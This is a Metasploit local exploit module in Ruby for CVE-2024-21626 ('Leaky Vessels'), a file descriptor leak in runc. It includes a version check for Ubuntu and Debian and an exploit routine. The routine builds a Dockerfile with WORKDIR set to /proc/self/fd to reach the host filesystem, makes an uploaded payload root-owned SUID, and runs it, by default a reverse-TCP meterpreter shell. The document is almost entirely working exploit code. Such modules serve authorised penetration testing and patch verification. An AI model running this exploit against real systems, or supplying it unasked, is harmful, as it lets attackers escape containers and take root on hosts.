## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Local Rank = ExcellentRanking include Msf::Post::Linux::Priv include Msf::Post::Linux::System include Msf::Post::File include Msf::Exploit::EXE include Msf::Exploit::FileDropper prepend Msf::Exploit::Remote::AutoCheck def initialize(info = {}) super( update_info( info, 'Name' => 'runc (docker) File Descriptor Leak Privilege Escalation', 'Description' => %q{ All versions of runc <=1.1.11, as used by containerization technologies such as Docker engine, and Kubernetes are vulnerable to an arbitrary file write. Due to a file descriptor leak it is possible to mount the host file system with the permissions of runc (typically root). Successfully tested on Ubuntu 22.04 with runc 1.1.7-0ubuntu1~22.04.1 and runc 1.1.11 using Docker build. Also tested on Debian 12.4.0 with runc 1.1.11 using Docker build. }, 'License' => MSF_LICENSE, 'Author' => [ 'h00die', # msf module 'SickMcNugget', # Check method enhancements 'jheysel-r7', # Check method enhancements 'Rory McNamara' # Discovery ], 'Platform' => [ 'linux' ], 'Arch' => [ ARCH_X86, ARCH_X64 ], 'SessionTypes' => [ 'shell', 'meterpreter' ], 'Targets' => [[ 'Auto', {} ]], 'Privileged' => true, 'References' => [ [ 'URL', 'https://snyk.io/blog/cve-2024-21626-runc-process-cwd-container-breakout/'], [ 'URL', 'https://github.com/opencontainers/runc/security/advisories/GHSA-xr7r-f8xq-vfvv'], [ 'URL', 'https://security-tracker.debian.org/tracker/CVE-2024-21626'], [ 'URL', 'https://ubuntu.com/security/CVE-2024-21626'], [ 'CVE', '2024-21626'] ], 'DisclosureDate' => '2024-01-31', 'DefaultTarget' => 0, 'Notes' => { 'AKA' => ['Leaky Vessels'], 'Stability' => [CRASH_SAFE], 'Reliability' => [REPEATABLE_SESSION], 'SideEffects' => [ARTIFACTS_ON_DISK] }, 'DefaultOptions' => { 'EXITFUNC' => 'thread', 'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp', 'MeterpreterTryToFork' => true } ) ) register_advanced_options [ OptString.new('WritableDir', [ true, 'A directory where we can write and execute files', '/tmp' ]), OptString.new('DOCKERIMAGE', [ true, 'A docker image to use', 'alpine:latest' ]), OptInt.new('FILEDESCRIPTOR', [ true, 'The file descriptor to use, typically 7, 8 or 9', 7 ]), ] end def base_dir datastore['WritableDir'].to_s end def check sys_info = get_sysinfo # Make sure both docker and runc are present unless command_exists?('runc') return CheckCode::Safe('The runc command was not found on this system') end unless command_exists?('docker') return CheckCode::Safe('The docker command was not found on this system') end minimum_version = '1.0.0' version_info = cmd_exec('runc --version') case sys_info[:distro] when 'ubuntu' version_info =~ /runc version\s+(\d+\S*)/ unfiltered_version = Regexp.last_match(1) # https://ubuntu.com/security/CVE-2024-21626 if sys_info[:version].include? '23.10' # mantic fixed_version = '1.1.7-0ubuntu2.2' elsif sys_info[:version].include? '23.04' # lunar fixed_version = '1.1.7-0ubuntu1' elsif sys_info[:version].include? '22.10' # kinetic fixed_version = '1.1.7-0ubuntu1' elsif sys_info[:version].include? '22.04' # jammy fixed_version = '1.1.7-0ubuntu1~22.04.2' elsif sys_info[:version].include? '20.04' # focal fixed_version = '1.1.7-0ubuntu1~20.04.2' elsif sys_info[:version].include? '18.04' # bionic fixed_version = '1.1.4-0ubuntu1~18.04.2+esm1' elsif sys_info[:version].include? '16.04' # xenial return CheckCode::Safe('Ubuntu version not affected') elsif sys_info[:version].include? '14.04' # trusty return CheckCode::Detected('Patch for this Ubuntu version was ignored. (end of standard support)') else fixed_version = '1.1.12' end # Replace any "+esm", "ubuntu", "~" or "-" with a "." fixed_version = fixed_version.gsub(/\+[a-zA-Z]+/, '.').gsub(/ubuntu/, '.').gsub(/-/, '.').gsub(/~/, '.') runc_version = unfiltered_version.gsub(/\+[a-zA-Z]+/, '.').gsub(/ubuntu/, '.').gsub(/-/, '.').gsub(/~/, '.') when 'debian' # The command runc --version returns a number of different fields, ex: # "runc version 1.1.5+ds1\ncommit: 1.1.5+ds1-1+deb12u1\nspec: 1.0.2-dev\ngo: go1.19.8\nlibseccomp: 2.5.4" # # For Debian the 'version' field doesn't always provide enough accuracy (particularly for Buster) to determine # whether or not the version is vulnerable which is why we extract the 'commit' field as it provides more detail. version_info =~ /commit:\s+(\d+\S*)/ unfiltered_version = Regexp.last_match(1) # https://security-tracker.debian.org/tracker/CVE-2024-21626 if sys_info[:version].include? '13' # Trixie (unstable at time of writing 2024-02-28) fixed_version = '1.1.12+ds1-1' elsif sys_info[:version].include? '12' # Bookworm fixed_version = '1.1.5+ds1-1+deb12u1' elsif sys_info[:version].include? '11' # Bullseye fixed_version = '1.0.0~rc93+ds1-5+deb11u3' elsif sys_info[:version].include? '10' # Buster fixed_version = '1.0.0~rc6+dfsg1-3+deb10u3' else fixed_version = '1.1.12' end # Replace any "+deb", "+ds", "~rc", "u" or "-" with a "." fixed_version = fixed_version.gsub(/(?:\+|~)[a-zA-Z]+/, '.').gsub(/u/, '.').gsub('-', '.') runc_version = unfiltered_version.gsub(/(?:\+|~)[a-zA-Z]+/, '.').gsub(/u/, '.').gsub('-', '.') else return CheckCode::Safe('Check method only available for Debian/Ubuntu systems') end if Rex::Version.new(runc_version) < Rex::Version.new(fixed_version) && Rex::Version.new(runc_version) >= Rex::Version.new(minimum_version) return CheckCode::Appears("Version of runc detected appears to be vulnerable: #{unfiltered_version}.") end CheckCode::Safe("runc version #{unfiltered_version} is not vulnerable.") end def exploit # Check if we're already root if !datastore['ForceExploit'] && is_root? fail_with(Failure::None, 'Session already has root privileges. Set ForceExploit to override') end # Make sure we can write our exploit and payload to the local system unless writable?(base_dir) fail_with(Failure::BadConfig, "#{base_dir} is not writable") end # create directory to write all our files to dir = "#{base_dir}/.#{rand_text_alphanumeric(5..10)}" mkdir(dir) register_dirs_for_cleanup(dir) # Upload payload executable payload_path = "#{dir}/.#{rand_text_alphanumeric(5..10)}" vprint_status("Uploading Payload to #{payload_path}") write_file(payload_path, generate_payload_exe) register_file_for_cleanup(payload_path) # write docker file vprint_status("Uploading Dockerfile to #{dir}/Dockerfile") dockerfile = %(FROM #{datastore['DOCKERIMAGE']} WORKDIR /proc/self/fd/#{datastore['FILEDESCRIPTOR']} RUN cd #{'../' * 8} && chmod -R 777 #{dir[1..]} && chown -R root:root #{dir[1..]} && chmod u+s #{payload_path[1..]} ) write_file("#{dir}/Dockerfile", dockerfile) register_file_for_cleanup("#{dir}/Dockerfile") print_status('Building from Dockerfile to set our payload permissions') output = cmd_exec("cd #{dir} && docker build .") output.each_line { |line| vprint_status line.chomp } # delete our docker image (second test created for docker v25.0.3) if output =~ /Successfully built ([a-z0-9]+)$/ || output =~ /writing image sha256:([a-z0-9]+) done$/ print_status("Removing created docker image #{Regexp.last_match(1)}") output = cmd_exec("docker image rm #{Regexp.last_match(1)}") output.each_line { |line| vprint_status line.chomp } elsif output.include?("mkdir /proc/self/fd/#{datastore['FILEDESCRIPTOR']}: not a directory") fail_with(Failure::NoAccess, "File Descriptor #{datastore['FILEDESCRIPTOR']} not available, try again (likely) or adjust FILEDESCRIPTOR.") else fail_with(Failure::NoAccess, 'Failed to build docker container. The user may not have docker permissions') end unless setuid?(payload_path) fail_with(Failure::NoAccess, 'Payload SUID bit not set') end print_status("Payload permissions set, executing payload (#{payload_path})...") cmd_exec "#{payload_path} &" end end